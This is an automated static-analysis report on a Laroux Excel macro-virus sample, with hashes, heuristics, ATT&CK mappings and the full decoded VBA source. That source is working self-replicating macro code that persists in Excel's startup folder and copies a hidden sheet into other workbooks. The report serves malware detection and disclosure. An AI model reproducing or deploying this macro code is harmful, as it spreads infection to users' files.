laroux — Office (OLE) malware analysis

Static analysis result for SHA-256 33593f708b0dce4a…

MALICIOUS

Office (OLE)

54.5 KB Created: 1980-01-05 19:23:25 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 5051810dd30543c3447b377514c4c8b0 SHA-1: ba9f8ea1f587602dd0bafdfdd2a1f8f4e945b7d7 SHA-256: 33593f708b0dce4a4e2500336fa6ab28e212c4822861e83de7b7f8022930e12f
120 Risk Score

Malware Insights

laroux · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This Excel 5 macro-virus, identified as a Laroux variant, uses the Auto_Open subroutine to execute the check_files function upon opening. This function attempts to save the current workbook as 'SHIT.XLS' in the startup path and copies a sheet named 'laroux' from 'SHIT.XLS' if it exists, indicating a potential mechanism for persistence or payload delivery.

Heuristics 3

  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1783 bytes
SHA-256: d043a2115b7075569fc909c6c66e06ce40b2a94d9b59cfb6d68a261150bf8252
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "laroux"

Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "SHIT.XLS")
    If m$ = "SHIT.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "SHIT.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SHIT.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "laroux" Then
        Workbooks("SHIT.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("laroux").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SHIT.xls!check_files"
    Case Else
End Select
End Sub

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